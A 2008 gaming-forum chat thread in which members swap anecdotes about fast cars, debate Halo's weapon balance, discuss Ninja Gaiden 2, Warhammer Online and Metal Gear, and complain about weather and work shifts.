I went 200mph in Forza 2 once. :>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 07, 2008, 01:31:29 AM
My friend drove 140 threw traffic in his Pontiac, with the windows down too. That was fun, all the cars looks liked they weren't moving.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 07, 2008, 02:24:55 AM
I was shotgun lol. My stepdad rented it to take my mom to dinner in [total surprise, she didn't know]. So when they got back he took me out for a drive, and we went fast haha.

It's a real nice car, I think we have it for a few more days :>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 07, 2008, 02:43:32 AM
Sounds kinda like what my dad did when my mom bought her VW Beetle (1.8T -- woo!) in 2002-ish -- drove out to I-680 and floored it.  Those things are pretty quick when you throw in a turbocharger. :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on June 07, 2008, 04:32:53 PM
I just went 140 in a rented corvette

holy shit that is fast.

<3 american V8 rear wheel

The fastest I've driven was 110 on a 1994 mercury cougar.  and I thought THAT was fast...nevermind 140 hahaha
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 07, 2008, 04:43:25 PM
Speed is greatly exaggerated in lower cars, too.  I don't know how the Cougar is, but I know that going back and forth between my Five Hundred and Saturn SC2 is like a whole different driving experience.  Last time I drove my Saturn I wound up going 10mph under on the freeway because I thought I was going too fast. XD
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 08, 2008, 12:20:10 AM
i played the ninja gaiden 2 demo just recently, its pretty long(for a demo of an action game), but there isn't a boss in the demo unfortunatley.

played through the entire thing using the scythe, and surprisingly, its not that hard to use (unlike nearly every non dragon sword weapon in the first game), and cutting people into pieces with a scythe is just fucking awesome.

the camera still sucks, and the demo lacked anything other than the "easy" difficulty so it was piss easy, but it was fun.  the new "dash" thing you have instead of roll works ok, i can still "dash jump dash jump dash jump" rather than what i do in the original game "roll jump roll jump, ect" so i guess it works out fine.  i mean, who the fuck really "runs" everywhere, dash jumping everywhere is faster, and saves your ass in combat.

ANYWAY, ill be going through it will all 4 weapons they give you.  also, from what ive played (im assuming its the first level, on the easiest difficulty setting) i can't really see it being "hard"(note from what ive played), your health refils after every fight, save points heal you(when you take damage, your max health goes down in a red bar, and save points and blue orbs heal that) and are EVERYWHERE, and from what ive heard, you can restart boss fights FROM THE START OF THE BOSS FIGHT, so i mean, yea.  anyway, i will buy this eventually, maby rent it and beat it, but i need to own this game, its fuckin' ninja gaiden.

ohh, and if you thought the first game was bloody, this game is like that, only 10x more gore, and dismemberment.  fits the game nicely.

BLA BLA BLA, download the demo and play it, its a good way to spend 20 minutes.

AND FINALLY TO NOTE, i did beat the original ninja gaiden on the normal difficulty(hard isn't fun, rather than running around like a mad man its more like "well im going to play REALLY FUCKING DEFENSIVE till i find an opening, attack, and wait for another opening"  this aint monster hunter)  setting on the xbox.  it was a kickass game, and i am more than half way through the game again on my second run (on the 360's hdd rather than the regular xboxes hdd)

*edit*

do y'all think i turn into bobbias when i talk about the vidya?  because ive been noticing tldr after tldr from me.  like read most of my posts in the WoW thread, if theres a vidya i like, i can ramble on and on about it.

*ADDING TO THE TLDR DONT MIND ME*

Quote
Ironbreaker
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on June 08, 2008, 03:50:32 AM
too bad when i got xbox live i put my real birthday so now with that godawful update i can't download anything m-rated even though i'm 17. i have to wait a week for everything and use my little bro's silver account which actually is 18+

fuck microsoft
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 08, 2008, 04:04:17 AM
Eh, they don't have much of a choice as far as that goes, sadly.

If you want to blame somebody, blame the anti-video game lobbyists.  Things were so much simpler before they started whining.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on June 08, 2008, 06:27:58 AM
fuck microsoft

THAT'S NOT WHAT YOU WERE SAYING WHEN YOU GOT YOUR ZUNE HMMMMMMMMM

ps lol warhammer
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 08, 2008, 01:38:52 PM
ps lol warhammer

you know you want it

*edit*

played through the ng2 demo again, tried the differant weapons.

dragon sword- its ok, but i found myself getting hit more often than not
claws- i don't see the appeal in this weapon, they are "fast but weak" and id rather kill a guy with 1 button press rather than 6
lunar staff- take the vigorian flails from the first game, make them into a staff, and thats this weapon, not too practical for regular enemies, but i see a use for them in swarms of small enemies

anyway, the scythe is pretty much awesome, its fairly quick, stupidly powerful, easy to use, and has good range at that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 08, 2008, 04:46:12 PM
Hmm, I'm downloading the newest warhammer computer game. I'm kinda interested in warhammer, but I don't think I'd ever get into playing tabletop.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on June 08, 2008, 05:15:55 PM
the tabletop figures cost so much fucking money. I remember when I attempted to assemble an army, but fell short because I did have no monies. I could only get like 2 sets of figures for 60 bucks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 08, 2008, 05:18:02 PM
I never really understood why they charged so much for not-yet-assembled plastic figurines.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 08, 2008, 07:24:28 PM
Did you buy them from Games Workshop? Because apparently despite the fact that they are the creators, you shouldn't buy from them unless you need to. They're just so damn expensive. There are alternate places. (I can steal links from the WH40K thread in Something Awful if necessary) that, while not having the huge selection, are much cheaper.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 08, 2008, 10:49:56 PM
you know you want it

I'm actually kind of interested. If it can be similar to wow, but with some non cookie cutter PVP and less GRINDAN it will probably be fun.

Also yes, I want to play NG2 now. I still haven't played DMC4 (well, a little, but not even nearly enough), also why must good action game come out so damn slowly? CASUUUUAAAAAAAAAAAAAAAAAALLLLLLLLLLLS.

Also also the magician from No More Heroes is apparently polish.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 08, 2008, 11:35:12 PM
I'm actually kind of interested. If it can be similar to wow, but with some non cookie cutter PVP and less GRINDAN it will probably be fun.

well WoW is HEAVILY based around pve, pvp servers are nothing but "pve-light" servers.  basically to hit the level cap, you must do pve content, on a pvp server, the only differance is other players can kill you and slow down your "pve grind to the level cap" down.   only at the level cap, can you start to pvp for gear, and if you want a low level twink, you had better have a high level character making gold "note more "pve"" so you can afford to buy those stupidly expensive twink gear pieces. 

from what it looks like, WAR is made from the ground up around pvp, with the ability to hit the level cap, and get the best gear, JUST BY FUCKING AROUND KILLING OTHER PLAYERS IN PLAYER VS PLAYER COMBAT(note, you gain xp from killing other players).  it has pve content, which actually contributes to the pvp war effort, but this stuff is OPTIONAL and you DO NOT HAVE to do it.

so as much as they "look" similar, they seem to be quite differant.  but i can't really say much till its out in retail and people are playing it. 

anyway, hype is bad, and the game comes out "fairly" soonish (q3-q4 08) so we will wait and see if its worth the price of admission, let alone the monthly fee.

i really should make an "mmo general" thread.  im honestly not much into the genre (seriously, besides WoW, and being hyped for WAR, i see no interest in any other mmo games) but i see myself typing TLDR after TLDR about the stuff i am into.

as for the action game comment, remember when halo came out, people decided the only games that would be made are CONSOLE SHOOTAN GAEMS(FFFFF pc > console in terms of shootans).  so until they come out with a kickass action game with kickass online multiplayer (this = lots of games sold, unfortunately) continue to see few good action games coming out.

and last but not least (srsly im almost done with this post) i read magician as michigan, SNAP!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 09, 2008, 12:23:02 AM
While I was at my girlfriend's house all day, my sister got really bored and hid/changed a bunch of stuff around my room. What the hell.

Also, Saw is really gruesome, wow. I forgot how bad it was, rofl.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 09, 2008, 01:04:48 AM
as for the action game comment, remember when halo came out, people decided the only games that would be made are CONSOLE SHOOTAN GAEMS(FFFFF pc > console in terms of shootans).  so until they come out with a kickass action game with kickass online multiplayer (this = lots of games sold, unfortunately) continue to see few good action games coming out.

Action games don't really translate that well into multiplayer. Really, all I can see happening is just a crappy fighting game, maybe in an arena with several people, but then you'd need some sort of cast/customizable charecters.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 09, 2008, 01:16:37 AM
i think thats the point.  nobody has succeeded in making a really good online multiplayer action game yet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 09, 2008, 07:48:48 AM
yet.

Exactly. I'd love to see a properly executed online fighting game. That could really bring a new style of game out.

Of course, someone needs to figure out how to work out the necessary parts that would go into that sort of thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 09, 2008, 12:53:56 PM
I'm leaving for Europe in about 30 minutes. It's going to be awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 09, 2008, 01:51:55 PM
So apparently Venetian Snares were playing in Portland last night (where I live) but I didn't go because I was having an awesome time with some old friends.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 09, 2008, 01:52:58 PM
So apparently Venetian Snares were playing in Portland last night (where I live) but I didn't go because I was having an awesome time with some old friends.

old friends > lots of things

also, olol yurop
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 09, 2008, 02:04:02 PM
old friends > lots of things

TRUE THAT
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on June 09, 2008, 03:14:30 PM
It's 10 minutes to 8AM and I haven't slept yet.

The same thing happened to me last night, though surprisingly I haven't felt all that tired all day long.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 09, 2008, 09:44:09 PM
Hmmmmm that I might have to check out... Do you know when/how much?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 09, 2008, 11:37:29 PM
Exactly. I'd love to see a properly executed online fighting game. That could really bring a new style of game out.

I'd have to be an action/hack n slash/beat em up at it's core first. Then maybe some sort of PvE and PvP (arenas or 1 on 1 type deals) system. Really, havening a free roam online action game would be like crack.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 09, 2008, 11:56:11 PM
I signed up for an ungodly amount of extra shifts this week. It's gonna be the most I've ever worked at once. I'm going to go nuts!

Also, I'd kill to see the Flashbulb live. Tell him to come here :x
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 10, 2008, 01:17:42 AM
http://www.gametrailers.com/player/34978.html#comments_top

On a top ten FPS games list, Halo is number 2. Really, what the fuck is this shit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 10, 2008, 02:10:53 AM
i kind of raged from it

but i mean, halo DID basically make the xbox into what it is today.  i wouldn't have gotten an xbox without halo, hell, i hated fps games before halo. 

and the word "best fps" is kind of deceiving, goldeneye as number 1 on the "best fps" list, i disagree with(its almost unplayable today).   but if it was a list of the most important fps games, i can see it ranking up pretty high, with wolfenstein 3d being number 1.

but whatever, they did have reasons for putting what they did on the list.  however, i would have added ut99, and the original half-life. 

i mean, half-life has like the best single player fps experiance out there.  and ut99 started the multiplayer aspect of ut, which ended up being some of the fastest multiplayer shootans out today.

anyway, SHOOTAN AND OPINIONS
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 10, 2008, 02:17:28 AM
Haha, I love Stuttering Craig.

And seriously, if Halo was such a bad game people wouldn't be playing it in such volumes.  Its multiplayer might not be as furious as that of the original Doom, but it's very well balanced (as of Halo 2, anyway...I haven't played Halo 3 multiplayer).  It really is a highly refined title.  Also, don't forget that it essentially brought back co-op back into the spotlight.

My only gripe is that the original Doom is nowhere on the list.  I would have probably taken out Doom 3, slid everything back, and threw it in the number one place.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 10, 2008, 03:24:09 AM
i kind of raged from it

but i mean, halo DID basically make the xbox into what it is today.  i wouldn't have gotten an xbox without halo, hell, i hated fps games before halo. 

So? As you said wolfenstien is lower on the list and it fucking invented FPS. Halo did nothing but push one console, woo.

And seriously, if Halo was such a bad game people wouldn't be playing it in such volumes.  Its multiplayer might not be as furious as that of the original Doom, but it's very well balanced (as of Halo 2, anyway...I haven't played Halo 3 multiplayer).  It really is a highly refined title.  Also, don't forget that it essentially brought back co-op back into the spotlight.

Wat, Halo 3 isn't even the top played xbox live game, CoD4 is. That's on xbox live ALONE, not counting PS3 and PC numbers.

 Also Halo is fucking far from balanced, sniper can shoot just as easily non scoped as it can be scoped, due to it still having a cross hare (I don't care if it's small, it's still large enough to see). It also has no change to projection when you unscoped/walk, so accurate shooting is still mighty easy, and you have FOUR FUCKING SHOTS, when it takes 2 ANYWHERE to kill someone. Any decent person will wreck 2 people with one clip of the sniper before they can do jack shit. Also the sword can be a campers dream weapons (in a medium room). Also everything else is just shit compared to snipers, rockets, and the sword.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 10, 2008, 03:26:31 AM
ohi guys. been with my dad for the past few days, he came up from mexico to visit. :] Too busy to post, but.. I'm back now. (I'm sorry, I know you enjoyed my absence)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 10, 2008, 03:51:40 AM
Wat, Halo 3 isn't even the top played xbox live game, CoD4 is. That's on xbox live ALONE, not counting PS3 and PC numbers.

That's because most people are still playing Halo 2...

Also Halo is fucking far from balanced, sniper can shoot just as easily non scoped as it can be scoped, due to it still having a cross hare (I don't care if it's small, it's still large enough to see). It also has no change to projection when you unscoped/walk, so accurate shooting is still mighty easy, and you have FOUR FUCKING SHOTS, when it takes 2 ANYWHERE to kill someone. Any decent person will wreck 2 people with one clip of the sniper before they can do jack shit.

And the maps are designed in such a way that the snipers can get raped.  And the game is designed so that they can be easily knocked about.

And seriously, try actually tacking a moving target, unscoped.  It's not that easy to do it accurately.  The only way you'd be able to accurately track someone at enough of a distance where they can't destroy you with assault rifles is if you're insanely steady, your sensitivity settings are low enough that CQB is impossible, or the other player isn't even trying.  Seriously, I can't think of a single instance where a sniper was able to take me down unscoped and I'm certainly not a good Halo player.

If the sniper rifle were as good as you're trying to imply, nobody would bother with assault rifles.  In my experience, people gravitate towards BRs.

Also the sword can be a campers dream weapons (in a medium room).

Step 1) Pick up shotgun.
Step 2) When you see swordsman, start shooting.
Step 3) Teabag your attacker's corpse.

Also everything else is just shit compared to snipers, rockets, and the sword.

No shit, of course they're more powerful.  That's why they have a fairly limited amount of ammo and you end up wasting a valuable weapon slot when you have them.  A person with a rocket launcher and a sniper rifle isn't going to be much of a threat in close-range combat unless they're really goddamn good (and even then they're at a heavy disadvantage).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 10, 2008, 04:13:32 AM
spectere, me, mortified
ut2k4
deathmatch
final destination rankin

(note, i suck, but its still fun fragging dudes with the shield gun)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 10, 2008, 05:31:18 AM
Better idea:

Me, vlad, Morty vs. 16 bots
UT2K4
CTF
Facing Worlds

Dibs on the top of the base.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 10, 2008, 05:46:51 AM
I'm probably going to buy this 1992 mitsubishi 3000GT VR4

sex.

 http://www.autostylesaz.com/InventoryDetails.aspx?ID_CL=195&fr=hp
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 10, 2008, 06:13:48 AM
Pretty sharp, yessss.  Low mileage for the model year and, more importantly, twin freaking turbo.  Looks like it's in great shape.

Nice wheels, too. :>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on June 10, 2008, 06:31:04 AM
badass car. I came across one at my work with the license plate "TORRENT". took a pic of it with my phone, i might upload it if someone wanted to see.. a bit too lazy atm.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 10, 2008, 07:55:23 AM
Spec, I haven't got much to say, thanks to your pointing out pretty much everything I was gonna say about Halo. Sure, it didn't invent the genre, but it certainly brought the genre to where it is today. It IS well balanced (From the amount I've played anyway). I've got no gripes at all about the game, aside from maybe wanting more maps (which is only a minor gripe at best).

I've found the Halo games extremely enjoyable. And as for Goldeneye, while it's very hard to play now, due to the newer games and such, it is certainly an amazing game. What halo did for the Xbox/current FPS situation, Goldeneye is pretty much the N64 equivalent. I absolutely fell in love with that game, and have not found a better N64 shooter, period.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 10, 2008, 01:34:49 PM
Better idea:

Me, vlad, Morty vs. 16 bots
UT2K4
CTF
Facing Worlds

Dibs on the top of the base.

this is no way to fight a war, boys!

Spectere, vlad, morty, me, 28 other bots (add via console)
UT99
CTF
Instagibs
One capture wins
Final Destination Facing Worlds

i don't really like dealing with ut2k4

spectere set that ut99 server back up for spectere.net :-D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 10, 2008, 02:03:16 PM
ctf_face classic can die

the only map i play is dm_rankin, and when i can, the instagib is on

instagib dm > instagib ctf

also, ut2k4 > ut99 for mainly one reason, DODGE JUMP.  who the hell runs anymore when i can flip around half the map by dodge jumping.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 10, 2008, 02:14:14 PM
nah i use facing worlds special edition

wtf is dodge jumping?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 10, 2008, 02:18:39 PM
double tap any direction to dodge, while in midair, jump

its like sling shotting yourself medium distances around the map
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 10, 2008, 02:36:45 PM
spectere set that ut99 server back up for spectere.net :-D

Running dedicated servers that people place once every three weeks is a pain. :(  Also, the only system that's on consistently enough is my router, and I'm not going to install a giant security exploit on it (game servers are horrifically insecure).

Spec, I haven't got much to say

Oh, quit lying. ;P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 10, 2008, 02:42:51 PM
The city is cutting off our water for seven hours today for maintenance or something. I wanna take a fuckin' shower.

>:[
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 10, 2008, 03:11:59 PM
And the maps are designed in such a way that the snipers can get raped.  And the game is designed so that they can be easily knocked about.

And seriously, try actually tacking a moving target, unscoped.  It's not that easy to do it accurately.  The only way you'd be able to accurately track someone at enough of a distance where they can't destroy you with assault rifles is if you're insanely steady, your sensitivity settings are low enough that CQB is impossible, or the other player isn't even trying.  Seriously, I can't think of a single instance where a sniper was able to take me down unscoped and I'm certainly not a good Halo player.

If the sniper rifle were as good as you're trying to imply, nobody would bother with assault rifles.  In my experience, people gravitate towards BRs.

unscoped in a close to medium range is exactly like shooting someone from a distance with the scope, it's just that you can see more and they'll probably try to move a bit more to dodge you. Also the reason people like BR is because it's flexible, and it's basically the only thing that can combat the sniper at distance, every other gun at any half decent range just shits on its self when trying to hit someone.

Step 1) Pick up shotgun.
Step 2) When you see swordsman, start shooting.
Step 3) Teabag your attacker's corpse.

Good luck finding the shotgun first, it's usually just as rare as the sword on maps that have both. that and they're still is the uncertainty with it.

Also the rocket lawchair is at it's best in medium range, just jump and remotely shoot at their feet. Splash damage always catches them.

Spec, I haven't got much to say, thanks to your pointing out pretty much everything I was gonna say about Halo. Sure, it didn't invent the genre, but it certainly brought the genre to where it is today. It IS well balanced (From the amount I've played anyway). I've got no gripes at all about the game, aside from maybe wanting more maps (which is only a minor gripe at best).

I hardly find it balanced, the only way to beat someone with a power weapon is to find them first, start shooting them before they damage you (also another thing I absolutely HATE about halo, letting a person get behind you and shoot you with any half decent gun basically means you are as good as dead, due to their not being any real body weak points) and hopefully kill them before they notice you.

Also about map balance, it's also bad. Snipers on that one big map with 2 bases have the roof to start at, and also have teleporters to run if they start to be approached from too many people. Also on that smaller metal map that "floats", the sniper has one of the highest spots on the map and only one walk way to get up to it, so any half decent person will unscope time to time to check his back.

Also I've never played an older UT game, just one that was on my friends old xbox. ;_;
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on June 10, 2008, 03:37:50 PM
double tap any direction to dodge, while in midair, jump

its like sling shotting yourself medium distances around the map

oh

wtf

i've got a mod for ut99 that lets you midair jump
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 10, 2008, 06:43:31 PM
this stuff would make a great "BAWW ABOUT FPS INBALLANCES HERE" thread
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 11, 2008, 12:34:49 AM
I played BioShock for the first time today.

That game really is as amazing as everyone else says it is, and I only played it for a half hour or so. I can't WAIT to play more of it. It's definitely going to be one of my favorite games, if it isn't already.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 11, 2008, 01:50:43 AM
So I have orientation for sams club tomorrow [9.80/hr or so]

woo.

I'm keeping this job till I can secure a job offered to me today from Manpower [headhunter people] about a help desk position, mainly dealing with email-based support instead of by phone. Paying up to 16.50/hr yay
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Post by: Bobbias on June 11, 2008, 06:57:51 AM
unscoped in a close to medium range is exactly like shooting someone from a distance with the scope, it's just that you can see more and they'll probably try to move a bit more to dodge you. Also the reason people like BR is because it's flexible, and it's basically the only thing that can combat the sniper at distance, every other gun at any half decent range just shits on its self when trying to hit someone.

Ever outsnipe someone with the handgun? I have. It's not that hard. Honestly, if you know someone has the sniper on you, and it's 1v1, you still ahve a pretty good chance, unless you are in an absolutely horrendous place.

Good luck finding the shotgun first, it's usually just as rare as the sword on maps that have both. that and they're still is the uncertainty with it.

I've never had a problem with that. Considering the shotgun pis pretty much the equivalent of the sword in power, and has better range, it SHOULD be as rare as the sword. And me, a rather below average player managed to get 8 consecutive kills with the shotgun against a friend who owns the game and is much better than I am, who was using the sword.

Also the rocket lawchair is at it's best in medium range, just jump and remotely shoot at their feet. Splash damage always catches them.

How many times have I done well with the rocket launcher at medium range? Not many, considering most of the time people can see that giant thing and dodge the blast, or kill you. Rockets are slow and cumbersome, and only really useful when people aren't looking at you (or you've gotten the cloacking).

I hardly find it balanced, the only way to beat someone with a power weapon is to find them first, start shooting them before they damage you (also another thing I absolutely HATE about halo, letting a person get behind you and shoot you with any half decent gun basically means you are as good as dead, due to their not being any real body weak points) and hopefully kill them before they notice you.

And real life IS balanced? Guns work like this: if you shoot someone before they shoot you, they will die. Doesn't it make sense that a game should also work like that?
I've seen lots of times where I've snuck up on someone and ended up getting killed, because either A) they had a better weapon, B) they were able to use grenades, or C) they were able to get away from me before I could kill them, and then attacked and killed me.

Also about map balance, it's also bad. Snipers on that one big map with 2 bases have the roof to start at, and also have teleporters to run if they start to be approached from too many people. Also on that smaller metal map that "floats", the sniper has one of the highest spots on the map and only one walk way to get up to it, so any half decent person will unscope time to time to check his back.

You mean Blood Gulch and Boarding Action. I would assume from the fact that you had to describe the maps that you haven't played all that much. Blood Gulch has many pitfalls for the unweary sniper, considering even if you're on the top of the buildings, you're pretty out in the open. Not to mention people can toss grenades up there without your noticing if they're half decent. That map is a much more close range based map, not a sniper map, since there are only about 3 places for any sniper to be useful.

Boarding Action is a fun map. Any half decent sniper would get the fuck out of that sniper platform. If they didn't, someone would murder them the second they noticed that someone got sniped. Oh, and I mentioned out sniping a sniper with a handgun? That was in that level. using the x scope in the handgun, I was able to beat someone using a sniper on 10x (which is justified, due to the length between the 2 platforms). I even found a way to throw grenades through the bunker windows in that level, throwing them across the entire distance of the gap. Great way to get someone when they're not expecting it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 11, 2008, 10:36:02 AM
Today is the first of my loooong work days. Yuck. Working over 8 hours isn't something i'm used to, I do 3 and a half hour shifts :x
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 11, 2008, 10:45:59 AM
You'll get used to it. 8 hours really isn't that bad, it's when you have either a) ridiculous scheduling putting 2 shifts right after eachother, or b) long commutes back and forth, that is truly gets bad.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 11, 2008, 01:37:45 PM
I'm seriously getting sick of this shit weather we're having here. I don't know what it's like where you all are, but it's been fucking cold EVERY GOD DAMN DAY excluding about three or four days in the past two months of high temperatures. It's almost the middle of June for shit's sake.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on June 11, 2008, 02:15:58 PM
I'm in Paris right now. The food is awesome, although I will note that everything is pretty expensive. I'm going to Normandy in a couple of days and London the day after that. This trip is pretty fun.

Also, because of the timeshift, I went about 36 hours without REM sleep.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 11, 2008, 02:36:46 PM
ill trade you mr sq3r

75-85 degree temperatures are killing me, if i didn't have a nice cool basement to take refuge from the heat in, id be MISERABLE.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 11, 2008, 02:54:35 PM
bob, mortified, the amount of tldr you both sprouted out DOES require its own topic.

http://www.spectere.net/smf/index.php?topic=575.0

there you go
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 11, 2008, 03:02:43 PM
I'll move my post and delete the old one then.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on June 11, 2008, 06:55:12 PM
ill trade you mr sq3r

75-85 degree temperatures are killing me, if i didn't have a nice cool basement to take refuge from the heat in, id be MISERABLE.

Hey at least you have a refuge :| I live in a room separate from the house with no insulation and half-inch walls. I don't really mind the cold in general, but it makes my hands numb and useless, which is hard for typing and sewing and guitaring and pretty much everything I like to do.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 11, 2008, 10:22:42 PM
We've been getting weather like, in the high 20's to low 30's lately, except for yesterday (I dunno what today was like, since I slept through most of it).
It's been really muggy, too.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 11, 2008, 10:26:21 PM
It can be muggy in the 30s? That's just awful. Then again, Florida heat isn't so bad if you wake up at about 1 ish, you get past the worst parts.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 11, 2008, 10:27:07 PM
30's in Canada. 30 degrees Celsius = 86 degrees Fahrenheit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 11, 2008, 10:52:36 PM
was going to say, you don't live THAT much north of me
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 11, 2008, 11:13:43 PM
American temp. is worth less then Canadian temp.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 11, 2008, 11:49:16 PM
been watching this "mmo review" show called turpster vision, and its pretty entertaining

http://www.massively.com/2008/03/04/turpstervision-an-episode-of-great-impotence/

in particular made me laugh my ass off, if there is a "best character backstory in city of heroes" this would be it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on June 12, 2008, 12:15:48 AM
It's consistently low 90s and extraordinarily humid here. Feels like AIDS, death and ass, simultaneously. The only thing this weather is good for is waterparks and swimming. And being inside.

I'm thinking about investing my $1600 in my savings account in more coins. I'm pretty bent on doing this, so unless anyone can talk me out of it, that liquid cash is going, going, gone this saturday :x
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 12, 2008, 12:37:17 AM
its not my $1600

but if i had $1600, id use it to help fund college (which i am starting to think about)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 12, 2008, 01:40:02 AM
It's consistently low 90s and extraordinarily humid here.

Yikes, it's cooler down there than it is up here.  It was over a hundred the other day. :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 12, 2008, 03:14:19 AM
(http://mythicmktg.fileburst.com/media/images/newsletters/05_2008/DwarfMount_t2.jpg)

as if i wasn't hyped up for this game enough, heres more reason to want to play this game, the dwarf "mounts" are fucking awesome.

*edit*

http://www.gametrailers.com/player/35050.html

mgs4 review (no spoilers in this review, so don't worry 'bout that)

9.3

i consider myself a hardcore (maby less than hardcore, but more than most) metal gear fan and the review didn't bother me, if anything, it was more of a showcase of why i need a ps3.  as for the comments for the review, SHITSTORM COMMENCE!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on June 12, 2008, 07:04:25 PM
my facebook is back
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on June 12, 2008, 08:12:47 PM
http://gameoveryeah.ytmnd.com/
lawls
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 12, 2008, 09:21:33 PM
I've been doing some research on moving trucks...$300 from U-Haul, not including gas.  Whew...I can see where my next paycheck is going.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on June 12, 2008, 11:11:08 PM
Yeah, those things aren't cheap.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on June 12, 2008, 11:11:28 PM
!

k so on the kojima interview on the "on the spot" show, kojima pretty much confirmed that the metal gear franchise will continue.

just because the story with solid snake was wrapped up, doesn't mean the metal gear series is dead.  i hoped to eventually hear this when i heard "mgs4 is the last metal gear solid game FEATURING SOLID SNAKE" as in, there will be more metal gear, there already is more metal gear in metal gear online.

blablabla, more metal gear in the coming years + kojima can work on his other franchises, lets cross our fingers for a ZoE 3

but from the sounds of it, he is looking to create a new series, and this isn't a bad thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on June 13, 2008, 01:39:51 AM
(http://files.spectere.net/pictures/winupd-ie8vista.png)

Wh-wh...whaaaaaa???
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on June 13, 2008, 02:45:44 AM
just because the story with solid snake was wrapped up, doesn't mean the metal gear series is dead.  i hoped to eventually hear this when i heard "mgs4 is the last metal gear solid game FEATURING SOLID SNAKE" as in, there will be more metal gear, there already is more metal gear in metal gear online.

blablabla, more metal gear in the coming years + kojima can work on his other franchises, lets cross our fingers for a ZoE 3

but from the sounds of it, he is looking to create a new series, and this isn't a bad thing.

I was JUST discussing this with a friend. I read a little thing in the instructional hand book (my mate bought it because he likes to draw [sold a few painting for 100+ dollars, if I'm not mistaken]) and it showed Kojima saying how 2 was supposed to be the end, then he made 3 and his fans still said "lol wut".

